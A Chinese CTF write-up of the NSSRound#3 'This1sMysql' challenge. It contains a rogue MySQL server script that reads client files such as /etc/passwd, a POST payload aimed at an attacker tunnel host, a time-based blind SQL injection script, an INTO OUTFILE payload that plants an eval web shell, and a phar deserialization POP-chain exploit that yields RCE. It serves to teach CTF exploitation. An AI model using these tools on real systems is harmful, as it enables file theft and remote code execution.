[NSSRound#3 Team]This1sMysql

2024-01-06 13:12
文章标签 team nssround this1smysql

本文主要是介绍[NSSRound#3 Team]This1sMysql,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[NSSRound#3 Team]This1sMysql

源码

 <?php
show_source(__FILE__);
include("class.php");
$conn = new mysqli();if(isset($_POST['config']) && is_array($_POST['config'])){foreach($_POST['config'] as $key => $val){$value = is_numeric($var)?(int)$val:$val;$conn->set_opt($key, $value);}
}if(isset($_POST['mysql']) && is_array($_POST['mysql'])){$my = $_POST['mysql'];if($conn->real_connect($my['host'], $my['user'], $my['pass'], $my['dbname'], $my['port'])){echo "connect success";$conn->query("show databases;");}else{echo "connect fail";}}
else{include("function.php");
}$conn->close();
?>

先来看看怎么处理config参数的,首先必须是数组,然后foreach遍历赋值给$val,如果是$var是数字,则$val转换成int型赋值给$value否则按原始值赋值。然后执行set_opt($key, $value)百度了一下,发现是mysqli_options函数的别称

那么我们分析下mysqli_options函数的参数

 public mysqli::options(int $option, string|int $value): bool

刚好对应我们源码中的参数

option是可以修改的选项,注意是int型

在这里插入图片描述

而value是布尔值,这俩参数暂时还不知道如何利用

我们接着往下看,接收参数mysql包括对应键名进行sql数据库连接,可是我们并不知道具体的信息。结合提示Rogue-MySql-Server,去网上搜到可以利用Mysql服务端反向读取客户端的任意文件

当然此原理利用的option是**MYSQLI_OPT_LOCAL_INFILE**。通过题目提供的mysql参数对我们本地机的Mysql服务端进行连接从而反向读取靶机的文件

我们前面分析过了参数config的作用,那么我们只需要开启该option设置为true即可

(我查的是9,但是参考wp中确实排在8)

config[8]=true

用来读取文件的脚本

from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter_rouge_mysql_sever_read_file_result = {}
_rouge_mysql_server_read_file_end = Falsedef checkVersionPy3():return not version_info < (3, 0)def rouge_mysql_sever_read_file(fileName, port, showInfo):if showInfo:log = getLogger(__name__)log.setLevel(INFO)tmp_format = StreamHandler()tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))log.addHandler(tmp_format)def _infoShow(*args):if showInfo:log.info(*args)# ================================================# =======No need to change after this lines=======# ================================================__author__ = 'Gifts'__modify__ = 'Morouu'global _rouge_mysql_sever_read_file_resultclass _LastPacket(Exception):passclass _OutOfOrder(Exception):passclass _MysqlPacket(object):packet_header = Struct('<Hbb')packet_header_long = Struct('<Hbbb')def __init__(self, packet_type, payload):if isinstance(packet_type, _MysqlPacket):self.packet_num = packet_type.packet_num + 1else:self.packet_num = packet_typeself.payload = payloaddef __str__(self):payload_len = len(self.payload)if payload_len < 65536:header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)else:header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)result = "".join((header.decode("latin1") if checkVersionPy3() else header,self.payload))return resultdef __repr__(self):return repr(str(self))@staticmethoddef parse(raw_data):packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])payload = raw_data[1:]return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)class _HttpRequestHandler(async_chat):def __init__(self, addr):async_chat.__init__(self, sock=addr[0])self.addr = addr[1]self.ibuffer = []self.set_terminator(3)self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN","Auth","Data","MoreLength","File"]self.state = self.stateList[0]self.sub_state = self.stateList[1]self.logined = Falseself.file = ""self.push(_MysqlPacket(0,"".join(('\x0a',  # Protocol'5.6.28-0ubuntu0.14.04.1' + '\0','\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',))))self.order = 1self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']def push(self, data):_infoShow('Pushed: %r', data)data = str(data)async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)def collect_incoming_data(self, data):_infoShow('Data recved: %r', data)self.ibuffer.append(data)def found_terminator(self):data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)self.ibuffer = []if self.state == self.stateList[0]:  # LENlen_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1if len_bytes < 65536:self.set_terminator(len_bytes)self.state = self.stateList[2]  # Dataelse:self.state = self.stateList[3]  # MoreLengthelif self.state == self.stateList[3]:  # MoreLengthif (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':self.push(None)self.close_when_done()else:self.state = self.stateList[2]  # Dataelif self.state == self.stateList[2]:  # Datapacket = _MysqlPacket.parse(data)try:if self.order != packet.packet_num:raise _OutOfOrder()else:# Fix ?self.order = packet.packet_num + 2if packet.packet_num == 0:if packet.payload[0] == '\x03':_infoShow('Query')self.set_terminator(3)self.state = self.stateList[0]  # LENself.sub_state = self.stateList[4]  # Fileself.file = fileName.pop(0)# endif len(fileName) == 1:global _rouge_mysql_server_read_file_end_rouge_mysql_server_read_file_end = Trueself.push(_MysqlPacket(packet,'\xFB{0}'.format(self.file)))elif packet.payload[0] == '\x1b':_infoShow('SelectDB')self.push(_MysqlPacket(packet,'\xfe\x00\x00\x02\x00'))raise _LastPacket()elif packet.payload[0] in '\x02':self.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()elif packet.payload == '\x00\x01':self.push(None)self.close_when_done()else:raise ValueError()else:if self.sub_state == self.stateList[4]:  # File_infoShow('-- result')# fileContent_infoShow('Result: %r', data)if len(data) == 1:self.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()else:self.set_terminator(3)self.state = self.stateList[0]  # LENself.order = packet.packet_num + 1global _rouge_mysql_sever_read_file_result_rouge_mysql_sever_read_file_result.update({self.file: data.encode() if not checkVersionPy3() else data})# test# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)self.close_when_done()elif self.sub_state == self.stateList[1]:  # Authself.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()else:_infoShow('-- else')raise ValueError('Unknown packet')except _LastPacket:_infoShow('Last packet')self.state = self.stateList[0]  # LENself.sub_state = Noneself.order = 0self.set_terminator(3)except _OutOfOrder:_infoShow('Out of order')self.push(None)self.close_when_done()else:_infoShow('Unknown state')self.push('None')self.close_when_done()class _MysqlListener(dispatcher):def __init__(self, sock=None):dispatcher.__init__(self, sock)if not sock:self.create_socket(AF_INET, SOCK_STREAM)self.set_reuse_addr()try:self.bind(('', port))except error:exit()self.listen(1)def handle_accept(self):pair = self.accept()if pair is not None:_infoShow('Conn from: %r', pair[1])_HttpRequestHandler(pair)if _rouge_mysql_server_read_file_end:self.close()_MysqlListener()_asyLoop()return _rouge_mysql_sever_read_file_resultif __name__ == '__main__':#fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD#不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=1028,showInfo=True).items():print(name + ":\n" + content.decode())

我们只需要修改监听的端口以及读取的文件即可

直接python3 test.py,然后脚本就开启监听

在这里插入图片描述

然后我们POST上传,注意ip和端口是我们内网穿透的

config[8]=true&mysql[host]=5i781963p2.yicp.fun&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=58265

成功读取

在这里插入图片描述

然后我们分别读取class.php和function.php

在这里插入图片描述

写个脚本恢复一下,把\n和转义的\都修改下

<?php
$filename = 'class.txt'; // 替换为要读取的文件路径$code = file_get_contents($filename);
$code = str_replace('\n', "\n", $code);
$code = str_replace('\\', "", $code);$file = 'class.php';
file_put_contents($file, $code);echo "代码已从文件 $filename 中恢复并写入文件:$file";
?>

先看看function.php

<?php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';if(!file_exists($mysqlpath)){die("NoNONo!");
}
else{$arr = json_decode(file_get_contents($mysqlpath));if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){echo "connect success";}else{echo "connect fail";}
}
?>

有file_get_contents函数可以读取文件

发现mysql.txt,访问一下得到

在这里插入图片描述

再来看看class.php,发现可以利用include去文件包含

<?php
class Upload {public $file;public $filesize;public $date;public $tmp;function __construct(){$this->file = $_FILES;}function __toString(){return $this->file["file"]["name"];}function __get($value){$this->filesize->$value = $this->date;echo $this->tmp;}
}
class Show{public $source;public $str;public $filter;public function __construct($file){$this->source = $file;$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}public function __toString(){$content = $this->str[0]->source;$content = $this->str[1]->schema;return $content;}public function __get($value){$this->show();return $this->$value;}public function __set($key,$value){$this->$key = $value;}public function show(){$filename = $this->schema . $this->source;include($filename);}public function __wakeup(){if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}if ($this->source !== 'default.jpg') {$this->source = 'default.jpg';}}
}
class Test{public $test1;public $test2;function __toString(){$str = $this->test2->test;return 'test';}function __get($value){return $this->$value;}function __destruct(){echo $this->test1;}}?>

我们的思路就是上传phar文件,然后利用function.php的参数mysqlpath去phar伪协议读取然后命令执行

可是关键点是我们并不知道flag的位置以及文件名,所以无法直接include包含flag,那么我们尝试写入一句话木马,然后include包含它实现RCE。思路正确的,那么我们先解决注入的目录路径,这里利用option的**MYSQLI_INIT_COMMAND**来执行sql盲注

config[3]=select @@global.secure_file_priv

用于查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILESELECT ... INTO OUTFILE语句的目录。

在这里插入图片描述

盲注脚本如下

import requests
import datetime
import stringurl="http://node4.anna.nssctf.cn:28086/"
path_dir=''for i in range(1,50):low = 41high = 130mid = (high + low) // 2while (low < high):payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)data={"config[3]":payload}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 1:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 41 or mid == 130):breakpath_dir += chr(mid)print('目录为:{}'.format(path_dir))

得到目录为/nssctf

在这里插入图片描述

然后利用刚刚得到的数据库信息来写入木马

config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/shell.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

在这里插入图片描述

接下来就是构造phar包,通过into dumpfile上传到/nssctf

pop链子如下

Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()

这里要构造的是include('/nssctf/shell.php');

exp

<?php
class Upload {public $file;public $filesize;public $date;public $tmp;
}
class Show{public $source;public $str;public $filter;
}
class Test{public $test1;public $test2;}$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="shell.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

由于phar文件包含不可见字符,所以我们可以在本地把它转换成十六进制

在这里插入图片描述

然后利用into dump的语法写入二进制文件

语法区别

  • SELECT ... INTO OUTFILE 将查询结果以文本格式写入文件。结果中的每一行对应查询结果的一行,列之间使用制表符分隔。
  • SELECT ... INTO DUMPFILE 将查询结果直接以二进制格式写入文件。结果不会使用制表符或其他分隔符进行格式化。

在这里插入图片描述

最后就是phar读取文件,在env找到flag

在这里插入图片描述

这篇关于[NSSRound#3 Team]This1sMysql的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/576463

相关文章

CodeForces 490A Team Olympiad

题意: 编号为1、2、3的同学分成一组  问  最多形成多少组  并输出方案 思路: 模拟3个栈暴力 代码: #include<cstdio>#include<iostream>#include<cstring>#include<string>#include<algorithm>#include<map>#include<set>#include<vector>#i

Eclipse使用TFS(Team Foundation Server) 超详细

Eclipse使用TFS 1、什么是TFS2、TFS和Git的区别3、签出代码4、签入代码4.1、签出以进行编辑4.2、修改本地代码4.3、签入挂起的更改4.4、签入 如果不能 签入挂起的更改,则先 签出以进行编辑如果 签入挂起的更改不可选中,则 如下操作 1、什么是TFS Team Foundation Server集中式版本控制系统TFS是一种为Microsoft产品提供源代

借报告Team ID错误谈谈Mac app文件签名与公证

文章目录 目的起因流程熟悉本地证书、认证证书申请在钥匙串中创建要公证app的profile(公证的时候会用到)程序打包后App文件进行app签名压缩打包公证公证变化在WWDC19, 苹果在MacOS 10.14之后引入了公证(Notarization)这一机制来提升安全性. 主要分以下几步新的公证workflow 公证命令 添加票据、盖章,注入认证消息mac dmg 打包认证注意事项参考博客

20140501 Anindilyakwa 题解The Great Team 题解

练习结束之后才发现 这两条其实挺水的。。能力还是太弱  水题都刷不动了的节奏么  555555555555  不能老是这么做这些题了  要补知识啊补知识 Description The language of Australian aborigines anindilyakwa has no numerals. No anindilyakwa c

Aras Innovator-Team(群组)的使用方法

当Aras Innovator在处理权限时,在不使用Team的情况下,系统的权限配置可以满足大部分业务场景,如:常见的按照组织架构,成员和角色分配权限,按照生命周期分配权限等。      如果遇到比较复杂的权限需求,如:对于某一套图文档或者物料,在原有的权限设置基础上,同时需要给对应的项目团队成员分配权限。因项目团队成员的灵活性,权限不仅要求项目成员变化时,对应权限同步变更;同时也需要

POJ 1112 Team Them Up!

http://poj.org/problem?id=1112 题意:一共N个人,给出每个人和其余人是否认识,把所有人分成两组。 要求1)每一个人 属于其中一组。 2)每组必须有人  3)每组内的所有人 必须相互认识(有向边 相互认识 才是认识)  4)两组的人数之差尽可能小 先读入数据,把两两不认识的人 连边, 建图,则同一边连接的两点不能在同一组。建完图后,进行DFS 染色,可以把图 分成

W: 无法下载 http://ppa.launchpad.net/fcitx-team/nightly/ubuntu/dists/jessie/main/binary-amd64/Packages

执行apt-get update时出现以下情况 W: 无法下载 http://ppa.launchpad.net/fcitx-team/nightly/ubuntu/dists/jessie/main/binary-amd64/Packages  404  Not Found 解决办法:将对应的PPA删除掉即可 使用以下命令切换到对应PPA目录: cd /etc/apt/source

[NSSRound#23 misc] 前两题

这个周末NSS个人赛是个MISC,这个好久没怎么玩了,结果不会了。只作出一题来,不过参与的人比较少,每题解出数和也不到50。前50吧:) 画师 给了一个xml文件,看内容有 mxGraphModel 标签,应该是某个东西画的矢量图。结果搜了半天也没找着怎么弄。下载的库都过于复杂一时看不懂。结果结束后问群里结果有个在线的。 Flowchart Maker & Online Diagram So

Team Foundation Server安装指南

一、    说明 Team Foundation Server(以下简称TFS) 提供源代码管理、工作项跟踪、Team Foundation Build、团队项目门户网站、报告和项目管理功能。TFS还包含一个数据仓库,其中存储来自工作项跟踪、源代码管理、版本和测试工具的数据。 TFS的部署模式分为两种,一是单服务器部署,一是双服务器部署,本文主要就单服务器模式的安装进行说明而不涉及双服务

Software Engineering with Microsoft Visual Studio Team System

版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出版、作者信息和本声明。否则将追究法律责任。 http://blog.csdn.net/topmvp - topmvp Software Engineering with Microsoft Visual Studio Team System is written for any software team that is